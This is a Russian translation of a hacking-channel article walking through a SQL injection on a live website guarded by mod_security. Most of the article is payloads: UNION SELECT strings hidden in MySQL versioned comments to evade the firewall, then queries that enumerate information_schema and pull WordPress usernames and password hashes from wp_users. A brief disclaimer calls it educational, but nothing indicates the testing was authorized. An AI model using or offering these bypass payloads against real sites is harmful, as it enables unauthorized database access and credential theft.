Забавная SQL инъекция и обход mod_security WAF
SHADOW:GroupЭта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.
Данная статья является переводом и ведется со слов автора. Оригинал тут.
В этой статье я хотел бы показать вам несколько своеобразный случай, с которым я столкнулся при тестировании веб-сайта.
Это sql-инъекция, в которой я мог обойти «mod_security waf».
Когда я начинаю тестировать sql-инъекцию, я понимаю, что веб-сайт использует этот файрвол.
Мы получаем ошибку при использовании:
site/ejemplo?parameter=-1+union+selec+1,2,3,4,5,6,7+--+

Я не собираюсь вам лгать, просто закодировав полезную нагрузку с комментариями, я смог обойти фильтрацию waf.
site/ejemplo?parameter=-1+/*!50000union*/+/*!50000selec*/+1,2,3,4,5,6,7+--+

Мы видим, что один из уязвимых столбцов - номер четыре.
Но, как и все любители sql-инъекций, я решил не останавливаться на достигнутом и попробовать другие методы и другую полезную нагрузку... После множества тестов и различных неудачных полезных нагрузок я попробовал это:
AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7
Что все это значит?
У нас есть:
"AND" = оператор AND возвращает запись, если все условия, разделенные оператором AND, являются TRUE. "mod(29,9)" = функция mod заключается в том, чтобы произвести деление между значениями. "div" = в sql функция div используется для деления "@a:=" = это служит псевдонимом для сохранения sql-запроса внутри, например: @a:=(concat(database(),"--","_Y000!_")) "union" = работает, чтобы объединить более 2 sql команд "distinctrow" = помогает нам избежать дублирования результатов. "select" = выбрать из базы данных то, что мы хотим "1,2,3,4,5,6,7" = количество колонок в базе данных "AND mod(29,9)+div+@a:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7"
Результат, который мы получаем при внедрении этой полезной нагрузки без какого-либо кодирования, будет следующим:

Помните, что раньше мы могли обходить фильтры, используя кодировку с помощью комментариев:
-1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,"_Y000!_",6,7--+

При кодировании полезной нагрузки мы снова обходим waf, но с другой полезной нагрузкой!

Теперь я собираюсь показать то, что мне показалось интересным.
Как мы видим на предыдущем изображении, мы смогли извлечь информацию из базы данных, в данном случае, в названии мы видим некоторые разделители и мой ник, благодаря инъекции внутри concat
@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)
У нас это в разделе «Description», но справа у нас есть возможность загрузить файл.
Забавно то, что опция загрузки файла тоже уязвима и ясно показывает нам, что уязвимый столбец имеет номер 5.

Воспользовавшись ошибкой, давайте еще немного протестируем!
Изменим полезную нагрузку, чтобы иметь возможность извлекать основную информацию об имени таблиц базы данных:
-1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,table_name,6,7+/*!50000from*/+/*!50000information_schema.tables*/+--+

И получаем следующий результат:

Если вы видите, раньше у нас был только один файл для загрузки, в этом же случае при добавлении к полезной нагрузке предложения для извлечения имени таблиц появляется дополнительная информация и большее количество файлов. При более внимательном рассмотрении всего нового, видим что появилась информация о базе данных, извлеченная с помощью полезной нагрузки. Как вы можете видеть на изображении с правой стороны, у нас есть много тегов <tr> </tr> для таблиц в HTML, внутри каждого из которых у нас есть имя таблицы базы данных.
Присмотревшись, я понял, что на сайте используется wordpress…

Это буквально не оставляет нам ничего скрытого!
-1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,column_name,6,7+/*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name="wp_users"*/+--+

Наконец, я смог найти информацию об имени пользователя и пароле.
-1+AND+mod(29,9)+div+@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,/*!50000CoNcAt(user_nicename,"--",user_pass)*/,6,7+/*!50000from*/+/*!50000wp_users*/+--+

ПРИМЕЧАНИЕ: проверяйте внимательно всю страницу, ведь ошибка может быть в наименее ожидаемом месте.
На этом все. Спасибо за просмотр!
Подпишись на канал - @shadow_group_tg.